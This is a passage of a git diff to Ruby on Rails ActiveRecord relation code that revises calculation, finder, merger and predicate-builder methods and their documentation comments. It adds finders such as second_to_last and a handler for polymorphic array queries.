+ # Person.group(:last_name).having("min(age) > 17").minimum(:age) # - # * Grouped values: This returns an ordered hash of the values and groups them. It - # takes either a column name, or the name of a belongs_to association. + # Person.sum("2 * age") # - # values = Person.group('last_name').maximum(:age) - # puts values["Drake"] - # # => 43 + # There are two basic forms of output: # - # drake = Family.find_by(last_name: 'Drake') - # values = Person.group(:family).maximum(:age) # Person belongs_to :family - # puts values[drake] - # # => 43 + # * Single aggregate value: The single value is type cast to Fixnum for COUNT, Float + # for AVG, and the given column's type for everything else. # - # values.each do |family, max_age| - # ... - # end + # * Grouped values: This returns an ordered hash of the values and groups them. It + # takes either a column name, or the name of a belongs_to association. # - # Person.calculate(:count, :all) # The same as Person.count - # Person.average(:age) # SELECT AVG(age) FROM people... + # values = Person.group('last_name').maximum(:age) + # puts values["Drake"] + # # => 43 # - # # Selects the minimum age for any family without any minors - # Person.group(:last_name).having("min(age) > 17").minimum(:age) + # drake = Family.find_by(last_name: 'Drake') + # values = Person.group(:family).maximum(:age) # Person belongs_to :family + # puts values[drake] + # # => 43 # - # Person.sum("2 * age") + # values.each do |family, max_age| + # ... + # end def calculate(operation, column_name) if column_name.is_a?(Symbol) && attribute_alias?(column_name) column_name = attribute_alias(column_name) @@ -117,7 +123,7 @@ module ActiveRecord end end - # Use <tt>pluck</tt> as a shortcut to select one or more attributes without + # Use #pluck as a shortcut to select one or more attributes without # loading a bunch of records just to grab the attributes you want. # # Person.pluck(:name) @@ -126,19 +132,19 @@ module ActiveRecord # # Person.all.map(&:name) # - # Pluck returns an <tt>Array</tt> of attribute values type-casted to match + # Pluck returns an Array of attribute values type-casted to match # the plucked column names, if they can be deduced. Plucking an SQL fragment # returns String values by default. # - # Person.pluck(:id) - # # SELECT people.id FROM people - # # => [1, 2, 3] + # Person.pluck(:name) + # # SELECT people.name FROM people + # # => ['David', 'Jeremy', 'Jose'] # # Person.pluck(:id, :name) # # SELECT people.id, people.name FROM people # # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']] # - # Person.pluck('DISTINCT role') + # Person.distinct.pluck(:role) # # SELECT DISTINCT role FROM people # # => ['admin', 'member', 'guest'] # @@ -150,13 +156,11 @@ module ActiveRecord # # SELECT DATEDIFF(updated_at, created_at) FROM people # # => ['0', '27761', '173'] # + # See also #ids. + # def pluck(*column_names) - column_names.map! do |column_name| - if column_name.is_a?(Symbol) && attribute_alias?(column_name) - attribute_alias(column_name) - else - column_name.to_s - end + if loaded? && (column_names.map(&:to_s) - @klass.attribute_names - @klass.attribute_aliases.keys).empty? + return @records.pluck(*column_names) end if has_include?(column_names.first) @@ -164,7 +168,7 @@ module ActiveRecord else relation = spawn relation.select_values = column_names.map { |cn| - columns_hash.key?(cn) ? arel_table[cn] : cn + @klass.has_attribute?(cn) || @klass.attribute_alias?(cn) ? arel_attribute(cn) : cn } result = klass.connection.select_all(relation.arel, nil, bound_attributes) result.cast_values(klass.attribute_types) @@ -188,7 +192,8 @@ module ActiveRecord def perform_calculation(operation, column_name) operation = operation.to_s.downcase - # If #count is used with #distinct / #uniq it is considered distinct. (eg. relation.distinct.count) + # If #count is used with #distinct (i.e. `relation.distinct.count`) it is + # considered distinct. distinct = self.distinct_value if operation == "count" @@ -210,6 +215,8 @@ module ActiveRecord end def aggregate_column(column_name) + return column_name if Arel::Expressions === column_name + if @klass.column_names.include?(column_name.to_s) Arel::Attribute.new(@klass.unscoped.table, column_name) else @@ -264,15 +271,10 @@ module ActiveRecord else group_fields = group_attrs end + group_fields = arel_columns(group_fields) - group_aliases = group_fields.map { |field| - column_alias_for(field) - } - group_columns = group_aliases.zip(group_fields).map { |aliaz,field| - [aliaz, field] - } - - group = group_fields + group_aliases = group_fields.map { |field| column_alias_for(field) } + group_columns = group_aliases.zip(group_fields) if operation == 'count' && column_name == :all aggregate_alias = 'count_all' @@ -288,7 +290,7 @@ module ActiveRecord ] select_values += select_values unless having_clause.empty? - select_values.concat group_fields.zip(group_aliases).map { |field,aliaz| + select_values.concat group_columns.map { |aliaz, field| if field.respond_to?(:as) field.as(aliaz) else @@ -297,7 +299,7 @@ module ActiveRecord } relation = except(:group) - relation.group_values = group + relation.group_values = group_fields relation.select_values = select_values calculated_data = @klass.connection.select_all(relation, nil, relation.bound_attributes) @@ -330,7 +332,6 @@ module ActiveRecord # column_alias_for("sum(id)") # => "sum_id" # column_alias_for("count(distinct users.id)") # => "count_distinct_users_id" # column_alias_for("count(*)") # => "count_all" - # column_alias_for("count", "id") # => "count_id" def column_alias_for(keys) if keys.respond_to? :name keys = "#{keys.relation.name}.#{keys.name}" @@ -359,9 +360,9 @@ module ActiveRecord end end - # TODO: refactor to allow non-string `select_values` (eg. Arel nodes). def select_for_count if select_values.present? + return select_values.first if select_values.one? select_values.join(", ") else :all diff --git a/activerecord/lib/active_record/relation/delegation.rb b/activerecord/lib/active_record/relation/delegation.rb index d4a8823cfe..2484cb3264 100644 --- a/activerecord/lib/active_record/relation/delegation.rb +++ b/activerecord/lib/active_record/relation/delegation.rb @@ -1,14 +1,13 @@ -require 'set' require 'active_support/concern' module ActiveRecord module Delegation # :nodoc: - module DelegateCache - def relation_delegate_class(klass) # :nodoc: + module DelegateCache # :nodoc: + def relation_delegate_class(klass) @relation_delegate_cache[klass] end - def initialize_relation_delegate_cache # :nodoc: + def initialize_relation_delegate_cache @relation_delegate_cache = cache = {} [ ActiveRecord::Relation, @@ -18,7 +17,7 @@ module ActiveRecord delegate = Class.new(klass) { include ClassSpecificRelation } - const_set klass.name.gsub('::', '_'), delegate + const_set klass.name.gsub('::'.freeze, '_'.freeze), delegate cache[klass] = delegate end end @@ -36,13 +35,9 @@ module ActiveRecord # may vary depending on the klass of a relation, so we create a subclass of Relation # for each different klass, and the delegations are compiled into that subclass only. - BLACKLISTED_ARRAY_METHODS = [ - :compact!, :flatten!, :reject!, :reverse!, :rotate!, :map!, - :shuffle!, :slice!, :sort!, :sort_by!, :delete_if, - :keep_if, :pop, :shift, :delete_at, :compact, :select! - ].to_set # :nodoc: - - delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :join, to: :to_a + delegate :to_xml, :encode_with, :length, :collect, :map, :each, :all?, :include?, :to_ary, :join, + :[], :&, :|, :+, :-, :sample, :reverse, :compact, :in_groups, :in_groups_of, + :shuffle, :split, to: :records delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key, :connection, :columns_hash, :to => :klass @@ -114,21 +109,14 @@ module ActiveRecord def respond_to?(method, include_private = false) super || @klass.respond_to?(method, include_private) || - array_delegable?(method) || arel.respond_to?(method, include_private) end protected - def array_delegable?(method) - Array.method_defined?(method) && BLACKLISTED_ARRAY_METHODS.exclude?(method) - end - def method_missing(method, *args, &block) if @klass.respond_to?(method) scoping { @klass.public_send(method, *args, &block) } - elsif array_delegable?(method) - to_a.public_send(method, *args, &block) elsif arel.respond_to?(method) arel.public_send(method, *args, &block) else diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb index 7bd091b66c..e7e331f88d 100644 --- a/activerecord/lib/active_record/relation/finder_methods.rb +++ b/activerecord/lib/active_record/relation/finder_methods.rb @@ -5,7 +5,7 @@ module ActiveRecord ONE_AS_ONE = '1 AS one' # Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]). - # If no record can be found for all of the listed ids, then RecordNotFound will be raised. If the primary key + # If one or more records can not be found for the requested ids, then RecordNotFound will be raised. If the primary key # is an integer, find by id coerces its arguments using +to_i+. # # Person.find(1) # returns the object for ID = 1 @@ -16,10 +16,8 @@ module ActiveRecord # Person.find([1]) # returns an array for the object with ID = 1 # Person.where("administrator = 1").order("created_on DESC").find(1) # - # <tt>ActiveRecord::RecordNotFound</tt> will be raised if one or more ids are not found. - # # NOTE: The returned records may not be in the same order as the ids you - # provide since database rows are unordered. You'd need to provide an explicit <tt>order</tt> + # provide since database rows are unordered. You'd need to provide an explicit QueryMethods#order # option if you want the results are sorted. # # ==== Find with lock @@ -36,7 +34,7 @@ module ActiveRecord # person.save! # end # - # ==== Variations of +find+ + # ==== Variations of #find # # Person.where(name: 'Spartacus', rating: 4) # # returns a chainable list (which can be empty). @@ -44,13 +42,13 @@ module ActiveRecord # Person.find_by(name: 'Spartacus', rating: 4) # # returns the first item or nil. # - # Person.where(name: 'Spartacus', rating: 4).first_or_initialize + # Person.find_or_initialize_by(name: 'Spartacus', rating: 4) # # returns the first item or returns a new instance (requires you call .save to persist against the database). # - # Person.where(name: 'Spartacus', rating: 4).first_or_create - # # returns the first item or creates it and returns it, available since Rails 3.2.1. + # Person.find_or_create_by(name: 'Spartacus', rating: 4) + # # returns the first item or creates it and returns it. # - # ==== Alternatives for +find+ + # ==== Alternatives for #find # # Person.where(name: 'Spartacus', rating: 4).exists?(conditions = :none) # # returns a boolean indicating if any record with the given conditions exist. @@ -59,16 +57,13 @@ module ActiveRecord # # returns a chainable list of instances with only the mentioned fields. # # Person.where(name: 'Spartacus', rating: 4).ids - # # returns an Array of ids, available since Rails 3.2.1. + # # returns an Array of ids. # # Person.where(name: 'Spartacus', rating: 4).pluck(:field1, :field2) - # # returns an Array of the required fields, available since Rails 3.1. + # # returns an Array of the required fields. def find(*args) - if block_given? - to_a.find(*args) { |*block_args| yield(*block_args) } - else - find_with_ids(*args) - end + return super if block_given? + find_with_ids(*args) end # Finds the first record matching the specified conditions. There @@ -79,18 +74,19 @@ module ActiveRecord # # Post.find_by name: 'Spartacus', rating: 4 # Post.find_by "published_at < ?", 2.weeks.ago - def find_by(*args) - where(*args).take + def find_by(arg, *args) + where(arg, *args).take rescue RangeError nil end - # Like <tt>find_by</tt>, except that if no record is found, raises - # an <tt>ActiveRecord::RecordNotFound</tt> error. - def find_by!(*args) - where(*args).take! + # Like #find_by, except that if no record is found, raises + # an ActiveRecord::RecordNotFound error. + def find_by!(arg, *args) + where(arg, *args).take! rescue RangeError - raise RecordNotFound, "Couldn't find #{@klass.name} with an out of range value" + raise RecordNotFound.new("Couldn't find #{@klass.name} with an out of range value", + @klass.name) end # Gives a record (or N records if a parameter is supplied) without any implied @@ -104,8 +100,8 @@ module ActiveRecord limit ? limit(limit).to_a : find_take end - # Same as +take+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record - # is found. Note that <tt>take!</tt> accepts no arguments. + # Same as #take but raises ActiveRecord::RecordNotFound if no record + # is found. Note that #take! accepts no arguments. def take! take or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]") end @@ -113,34 +109,22 @@ module ActiveRecord # Find the first record (or first N records if a parameter is supplied). # If no order is defined it will order by primary key. # - # Person.first # returns the first object fetched by SELECT * FROM people + # Person.first # returns the first object fetched by SELECT * FROM people ORDER BY people.id LIMIT 1 # Person.where(["user_name = ?", user_name]).first # Person.where(["user_name = :u", { u: user_name }]).first # Person.order("created_on DESC").offset(5).first - # Person.first(3) # returns the first three objects fetched by SELECT * FROM people LIMIT 3 - # - # ==== Rails 3 - # - # Person.first # SELECT "people".* FROM "people" LIMIT 1 - # - # NOTE: Rails 3 may not order this query by the primary key and the order - # will depend on the database implementation. In order to ensure that behavior, - # use <tt>User.order(:id).first</tt> instead. - # - # ==== Rails 4 - # - # Person.first # SELECT "people".* FROM "people" ORDER BY "people"."id" ASC LIMIT 1 + # Person.first(3) # returns the first three objects fetched by SELECT * FROM people ORDER BY people.id LIMIT 3 # def first(limit = nil) if limit - find_nth_with_limit(offset_index, limit) + find_nth_with_limit_and_offset(0, limit, offset: offset_index) else - find_nth(0, offset_index) + find_nth 0 end end - # Same as +first+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record - # is found. Note that <tt>first!</tt> accepts no arguments. + # Same as #first but raises ActiveRecord::RecordNotFound if no record + # is found. Note that #first! accepts no arguments. def first! find_nth! 0 end @@ -161,19 +145,25 @@ module ActiveRecord # # [#<Person id:4>, #<Person id:3>, #<Person id:2>] def last(limit = nil) - if limit - if order_values.empty? && primary_key - order(arel_table[primary_key].desc).limit(limit).reverse - else - to_a.last(limit) - end - else - find_last - end + return find_last(limit) if loaded? || limit_value + + result = limit(limit || 1) + result.order!(arel_attribute(primary_key)) if order_values.empty? && primary_key + result = result.reverse_order! + + limit ? result.reverse : result.first + rescue ActiveRecord::IrreversibleOrderError + ActiveSupport::Deprecation.warn(<<-WARNING.squish) + Finding a last element by loading the relation when SQL ORDER + can not be reversed is deprecated. + Rails 5.1 will raise ActiveRecord::IrreversibleOrderError in this case. + Please call `to_a.last` if you still want to load the relation. + WARNING + find_last(limit) end - # Same as +last+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record - # is found. Note that <tt>last!</tt> accepts no arguments. + # Same as #last but raises ActiveRecord::RecordNotFound if no record + # is found. Note that #last! accepts no arguments. def last! last or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]") end @@ -185,10 +175,10 @@ module ActiveRecord # Person.offset(3).second # returns the second object from OFFSET 3 (which is OFFSET 4) # Person.where(["user_name = :u", { u: user_name }]).second def second - find_nth(1, offset_index) + find_nth 1 end - # Same as +second+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record + # Same as #second but raises ActiveRecord::RecordNotFound if no record # is found. def second! find_nth! 1 @@ -201,10 +191,10 @@ module ActiveRecord # Person.offset(3).third # returns the third object from OFFSET 3 (which is OFFSET 5) # Person.where(["user_name = :u", { u: user_name }]).third def third - find_nth(2, offset_index) + find_nth 2 end - # Same as +third+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record + # Same as #third but raises ActiveRecord::RecordNotFound if no record # is found. def third! find_nth! 2 @@ -217,10 +207,10 @@ module ActiveRecord # Person.offset(3).fourth # returns the fourth object from OFFSET 3 (which is OFFSET 6) # Person.where(["user_name = :u", { u: user_name }]).fourth def fourth - find_nth(3, offset_index) + find_nth 3 end - # Same as +fourth+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record + # Same as #fourth but raises ActiveRecord::RecordNotFound if no record # is found. def fourth! find_nth! 3 @@ -233,10 +223,10 @@ module ActiveRecord # Person.offset(3).fifth # returns the fifth object from OFFSET 3 (which is OFFSET 7) # Person.where(["user_name = :u", { u: user_name }]).fifth def fifth - find_nth(4, offset_index) + find_nth 4 end - # Same as +fifth+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record + # Same as #fifth but raises ActiveRecord::RecordNotFound if no record # is found. def fifth! find_nth! 4 @@ -249,17 +239,49 @@ module ActiveRecord # Person.offset(3).forty_two # returns the forty-second object from OFFSET 3 (which is OFFSET 44) # Person.where(["user_name = :u", { u: user_name }]).forty_two def forty_two - find_nth(41, offset_index) + find_nth 41 end - # Same as +forty_two+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record + # Same as #forty_two but raises ActiveRecord::RecordNotFound if no record # is found. def forty_two! find_nth! 41 end - # Returns +true+ if a record exists in the table that matches the +id+ or - # conditions given, or +false+ otherwise. The argument can take six forms: + # Find the third-to-last record. + # If no order is defined it will order by primary key. + # + # Person.third_to_last # returns the third-to-last object fetched by SELECT * FROM people + # Person.offset(3).third_to_last # returns the third-to-last object from OFFSET 3 + # Person.where(["user_name = :u", { u: user_name }]).third_to_last + def third_to_last + find_nth_from_last 3 + end + + # Same as #third_to_last but raises ActiveRecord::RecordNotFound if no record + # is found. + def third_to_last! + find_nth_from_last 3 or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]") + end + + # Find the second-to-last record. + # If no order is defined it will order by primary key. + # + # Person.second_to_last # returns the second-to-last object fetched by SELECT * FROM people + # Person.offset(3).second_to_last # returns the second-to-last object from OFFSET 3 + # Person.where(["user_name = :u", { u: user_name }]).second_to_last + def second_to_last + find_nth_from_last 2 + end + + # Same as #second_to_last but raises ActiveRecord::RecordNotFound if no record + # is found. + def second_to_last! + find_nth_from_last 2 or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]") + end + + # Returns true if a record exists in the table that matches the +id+ or + # conditions given, or false otherwise. The argument can take six forms: # # * Integer - Finds the record with this primary key. # * String - Finds the record with a primary key corresponding to this @@ -272,7 +294,7 @@ module ActiveRecord # * No args - Returns +false+ if the table is empty, +true+ otherwise. # # For more information about specifying conditions as a hash or array, - # see the Conditions section in the introduction to <tt>ActiveRecord::Base</tt>. + # see the Conditions section in the introduction to ActiveRecord::Base. # # Note: You can't pass in a condition as a string (like <tt>name = # 'Jamie'</tt>), since it would be sanitized and then queried against @@ -290,7 +312,7 @@ module ActiveRecord conditions = conditions.id ActiveSupport::Deprecation.warn(<<-MSG.squish) You are passing an instance of ActiveRecord::Base to `exists?`. - Please pass the id of the object by calling `.id` + Please pass the id of the object by calling `.id`. MSG end @@ -314,7 +336,7 @@ module ActiveRecord end # This method is called whenever no records are found with either a single - # id or multiple ids and raises a +ActiveRecord::RecordNotFound+ exception. + # id or multiple ids and raises an ActiveRecord::RecordNotFound exception. # # The error message is different depending on whether a single id or # multiple ids are provided. If multiple ids are provided, then the number @@ -378,7 +400,7 @@ module ActiveRecord def construct_relation_for_association_calculations from = arel.froms.first if Arel::Table === from - apply_join_dependency(self, construct_join_dependency) + apply_join_dependency(self, construct_join_dependency(joins_values)) else # FIXME: as far as I can tell, `from` will always be an Arel::Table. # There are no tests that test this branch, but presumably it's @@ -445,7 +467,7 @@ module ActiveRecord id = id.id ActiveSupport::Deprecation.warn(<<-MSG.squish) You are passing an instance of ActiveRecord::Base to `find`. - Please pass the id of the object by calling `.id` + Please pass the id of the object by calling `.id`. MSG end @@ -458,6 +480,8 @@ module ActiveRecord end def find_some(ids) + return find_some_ordered(ids) unless order_values.present? + result = where(primary_key => ids).to_a expected_size = @@ -479,49 +503,96 @@ module ActiveRecord end end + def find_some_ordered(ids) + ids = ids.slice(offset_value || 0, limit_value || ids.size) || [] + + result = except(:limit, :offset).where(primary_key => ids).records + + if result.size == ids.size + pk_type = @klass.type_for_attribute(primary_key) + + records_by_id = result.index_by(&:id) + ids.map { |id| records_by_id.fetch(pk_type.cast(id)) } + else + raise_record_not_found_exception!(ids, result.size, ids.size) + end + end + def find_take if loaded? @records.first else - @take ||= limit(1).to_a.first + @take ||= limit(1).records.first end end - def find_nth(index, offset) + def find_nth(index, offset = nil) + # TODO: once the offset argument is removed we rely on offset_index + # within find_nth_with_limit, rather than pass it in via + # find_nth_with_limit_and_offset + if offset + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Passing an offset argument to find_nth is deprecated, + please use Relation#offset instead. + MSG + end if loaded? @records[index] else - offset += index - @offsets[offset] ||= find_nth_with_limit(offset, 1).first + offset ||= offset_index + @offsets[offset + index] ||= find_nth_with_limit_and_offset(index, 1, offset: offset).first end end def find_nth!(index) - find_nth(index, offset_index) or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]") + find_nth(index) or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]") end - def find_nth_with_limit(offset, limit) + def find_nth_with_limit(index, limit) + # TODO: once the offset argument is removed from find_nth, + # find_nth_with_limit_and_offset can be merged into this method relation = if order_values.empty? && primary_key - order(arel_table[primary_key].asc) + order(arel_attribute(primary_key).asc) else self end - relation = relation.offset(offset) unless offset.zero? + relation = relation.offset(index) unless index.zero? relation.limit(limit).to_a end - def find_last + def find_nth_from_last(index) + if loaded? + @records[-index] + else + relation = if order_values.empty? && primary_key + order(arel_attribute(primary_key).asc) + else + self + end + + relation.to_a[-index] + # TODO: can be made more performant on large result sets by + # for instance, last(index)[-index] (which would require + # refactoring the last(n) finder method to make test suite pass), + # or by using a combination of reverse_order, limit, and offset, + # e.g., reverse_order.offset(index-1).first + end + end + + private + + def find_nth_with_limit_and_offset(index, limit, offset:) # :nodoc: if loaded? - @records.last + @records[index, limit] else - @last ||= - if limit_value - to_a.last - else - reverse_order.limit(1).to_a.first - end + index += offset + find_nth_with_limit(index, limit) end end + + def find_last(limit) + limit ? records.last(limit) : records.last + end end end diff --git a/activerecord/lib/active_record/relation/from_clause.rb b/activerecord/lib/active_record/relation/from_clause.rb index a93952fa30..8945cb0cc5 100644 --- a/activerecord/lib/active_record/relation/from_clause.rb +++ b/activerecord/lib/active_record/relation/from_clause.rb @@ -1,6 +1,6 @@ module ActiveRecord class Relation - class FromClause + class FromClause # :nodoc: attr_reader :value, :name def initialize(value, name) @@ -25,7 +25,7 @@ module ActiveRecord end def self.empty - new(nil, nil) + @empty ||= new(nil, nil) end end end diff --git a/activerecord/lib/active_record/relation/merger.rb b/activerecord/lib/active_record/relation/merger.rb index 65b607ff1c..396638d74d 100644 --- a/activerecord/lib/active_record/relation/merger.rb +++ b/activerecord/lib/active_record/relation/merger.rb @@ -1,5 +1,4 @@ require 'active_support/core_ext/hash/keys' -require "set" module ActiveRecord class Relation @@ -51,7 +50,7 @@ module ActiveRecord NORMAL_VALUES = Relation::VALUE_METHODS - Relation::CLAUSE_METHODS - - [:joins, :order, :reverse_order, :lock, :create_with, :reordering] # :nodoc: + [:includes, :preload, :joins, :order, :reverse_order, :lock, :create_with, :reordering] # :nodoc: def normal_values NORMAL_VALUES @@ -76,6 +75,7 @@ module ActiveRecord merge_multi_values merge_single_values merge_clauses + merge_preloads merge_joins relation @@ -83,6 +83,27 @@ module ActiveRecord private + def merge_preloads + return if other.preload_values.empty? && other.includes_values.empty? + + if other.klass == relation.klass + relation.preload!(*other.preload_values) unless other.preload_values.empty? + relation.includes!(other.includes_values) unless other.includes_values.empty? + else + reflection = relation.klass.reflect_on_all_associations.find do |r| + r.class_name == other.klass.name + end || return + + unless other.preload_values.empty? + relation.preload! reflection.name => other.preload_values + end + + unless other.includes_values.empty? + relation.includes! reflection.name => other.includes_values + end + end + end + def merge_joins return if other.joins_values.blank? @@ -120,6 +141,9 @@ module ActiveRecord end def merge_single_values + if relation.from_clause.empty? + relation.from_clause = other.from_clause + end relation.lock_value ||= other.lock_value unless other.create_with_value.blank? @@ -127,11 +151,15 @@ module ActiveRecord end end + CLAUSE_METHOD_NAMES = CLAUSE_METHODS.map do |name| + ["#{name}_clause", "#{name}_clause="] + end + def merge_clauses - CLAUSE_METHODS.each do |name| - clause = relation.send("#{name}_clause") - other_clause = other.send("#{name}_clause") - relation.send("#{name}_clause=", clause.merge(other_clause)) + CLAUSE_METHOD_NAMES.each do |(reader, writer)| + clause = relation.send(reader) + other_clause = other.send(reader) + relation.send(writer, clause.merge(other_clause)) end end end diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb index 43e9afe853..ecce949370 100644 --- a/activerecord/lib/active_record/relation/predicate_builder.rb +++ b/activerecord/lib/active_record/relation/predicate_builder.rb @@ -5,6 +5,7 @@ module ActiveRecord require 'active_record/relation/predicate_builder/base_handler' require 'active_record/relation/predicate_builder/basic_object_handler' require 'active_record/relation/predicate_builder/class_handler' + require 'active_record/relation/predicate_builder/polymorphic_array_handler' require 'active_record/relation/predicate_builder/range_handler' require 'active_record/relation/predicate_builder/relation_handler' @@ -18,18 +19,20 @@ module ActiveRecord register_handler(Class, ClassHandler.new(self)) register_handler(Base, BaseHandler.new(self)) register_handler(Range, RangeHandler.new(self)) + register_handler(RangeHandler::RangeWithBinds, RangeHandler.new(self)) register_handler(Relation, RelationHandler.new) register_handler(Array, ArrayHandler.new(self)) register_handler(AssociationQueryValue, AssociationQueryHandler.new(self)) + register_handler(PolymorphicArrayValue, PolymorphicArrayHandler.new(self)) end def build_from_hash(attributes) - attributes = convert_dot_notation_to_hash(attributes.stringify_keys) + attributes = convert_dot_notation_to_hash(attributes) expand_from_hash(attributes) end def create_binds(attributes) - attributes = convert_dot_notation_to_hash(attributes.stringify_keys) + attributes = convert_dot_notation_to_hash(attributes) create_binds_for_hash(attributes) end @@ -39,10 +42,7 @@ module ActiveRecord # # For polymorphic relationships, find the foreign key and type: # PriceEstimate.where(estimate_of: treasure) - if table.associated_with?(column) - value = AssociationQueryValue.new(table.associated_table(column), value) - end - + value = AssociationQueryHandler.value_for(table, column, value) if table.associated_with?(column) build(table.arel_attribute(column), value) end @@ -52,7 +52,7 @@ module ActiveRecord key else key = key.to_s - key.split('.').first if key.include?('.') + key.split('.'.freeze).first if key.include?('.'.freeze) end end.compact end @@ -67,7 +67,7 @@ module ActiveRecord # Arel::Nodes::And.new([range.start, range.end]) # ) # end - # ActiveRecord::PredicateBuilder.register_handler(MyCustomDateRange, handler) + # ActiveRecord::PredicateBuilder.new("users").register_handler(MyCustomDateRange, handler) def register_handler(klass, handler) @handlers.unshift([klass, handler]) end @@ -105,10 +105,23 @@ module ActiveRecord binds += bvs when Relation binds += value.bound_attributes + when Range + first = value.begin + last = value.end + unless first.respond_to?(:infinite?) && first.infinite? + binds << build_bind_param(column_name, first) + first = Arel::Nodes::BindParam.new + end + unless last.respond_to?(:infinite?) && last.infinite? + binds << build_bind_param(column_name, last) + last = Arel::Nodes::BindParam.new + end + + result[column_name] = RangeHandler::RangeWithBinds.new(first, last, value.exclude_end?) else if can_be_bound?(column_name, value) result[column_name] = Arel::Nodes::BindParam.new - binds << Relation::QueryAttribute.new(column_name.to_s, value, table.type(column_name)) + binds << build_bind_param(column_name, value) end end end @@ -123,10 +136,12 @@ module ActiveRecord end def convert_dot_notation_to_hash(attributes) - dot_notation = attributes.keys.select { |s| s.include?(".") } + dot_notation = attributes.select do |k, v| + k.include?(".".freeze) && !v.is_a?(Hash) + end - dot_notation.each do |key| - table_name, column_name = key.split(".") + dot_notation.each_key do |key| + table_name, column_name = key.split(".".freeze) value = attributes.delete(key) attributes[table_name] ||= {} @@ -145,5 +160,9 @@ module ActiveRecord handler_for(value).is_a?(BasicObjectHandler) && !table.associated_with?(column_name) end + + def build_bind_param(column_name, value) + Relation::QueryAttribute.new(column_name.to_s, value, table.type(column_name)) + end end end diff --git a/activerecord/lib/active_record/relation/predicate_builder/association_query_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/association_query_handler.rb index 159889d3b8..d7fd878265 100644 --- a/activerecord/lib/active_record/relation/predicate_builder/association_query_handler.rb +++ b/activerecord/lib/active_record/relation/predicate_builder/association_query_handler.rb @@ -1,6 +1,16 @@ module ActiveRecord class PredicateBuilder class AssociationQueryHandler # :nodoc: + def self.value_for(table, column, value) + klass = if table.associated_table(column).polymorphic_association? && ::Array === value && value.first.is_a?(Base) + PolymorphicArrayValue + else + AssociationQueryValue + end + + klass.new(table.associated_table(column), value) + end + def initialize(predicate_builder) @predicate_builder = predicate_builder end @@ -10,10 +20,10 @@ module ActiveRecord table = value.associated_table if value.base_class - queries[table.association_foreign_type] = value.base_class.name + queries[table.association_foreign_type.to_s] = value.base_class.name end - queries[table.association_foreign_key] = value.ids + queries[table.association_foreign_key.to_s] = value.ids predicate_builder.build_from_hash(queries) end diff --git a/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_handler.rb new file mode 100644 index 0000000000..b6c6240343 --- /dev/null +++ b/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_handler.rb @@ -0,0 +1,57 @@ +module ActiveRecord + class PredicateBuilder + class PolymorphicArrayHandler # :nodoc: + def initialize(predicate_builder) + @predicate_builder = predicate_builder + end + + def call(attribute, value) + table = value.associated_table + queries = value.type_to_ids_mapping.map do |type, ids| + { table.association_foreign_type.to_s => type, table.association_foreign_key.to_s => ids } + end + + predicates = queries.map { |query| predicate_builder.build_from_hash(query) } + + if predicates.size > 1 + type_and_ids_predicates = predicates.map { |type_predicate, id_predicate| Arel::Nodes::Grouping.new(type_predicate.and(id_predicate)) } + type_and_ids_predicates.inject(&:or) + else + predicates.first + end + end + + protected + + attr_reader :predicate_builder + end + + class PolymorphicArrayValue # :nodoc: + attr_reader :associated_table, :values + + def initialize(associated_table, values) + @associated_table = associated_table + @values = values + end + + def type_to_ids_mapping + default_hash = Hash.new { |hsh, key| hsh[key] = [] } + values.each_with_object(default_hash) { |value, hash| hash[base_class(value).name] << convert_to_id(value) } + end + + private + + def primary_key(value) + associated_table.association_primary_key(base_class(value)) + end + + def base_class(value) + value.class.base_class + end + + def convert_to_id(value) + value._read_attribute(primary_key(value)) + end + end + end +end diff --git a/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb index 1b3849e3ad..306d4694ae 100644 --- a/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb +++ b/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb @@ -1,12 +1,28 @@ module ActiveRecord class PredicateBuilder class RangeHandler # :nodoc: + RangeWithBinds = Struct.new(:begin, :end, :exclude_end?) + def initialize(predicate_builder) @predicate_builder = predicate_builder end def call(attribute, value) - attribute.between(value) + if value.begin.respond_to?(:infinite?) && value.begin.infinite? + if value.end.respond_to?(:infinite?) && value.end.infinite? + attribute.not_in([]) + elsif value.exclude_end? + attribute.lt(value.end) + else + attribute.lteq(value.end) + end + elsif value.end.respond_to?(:infinite?) && value.end.infinite? + attribute.gteq(value.begin) + elsif value.exclude_end? + attribute.gteq(value.begin).and(attribute.lt(value.end)) + else + attribute.between(value) + end end protected diff --git a/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb index 063150958a..8a910a82fe 100644 --- a/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb +++ b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb @@ -3,7 +3,7 @@ module ActiveRecord class RelationHandler # :nodoc: def call(attribute, value) if value.select_values.empty? - value = 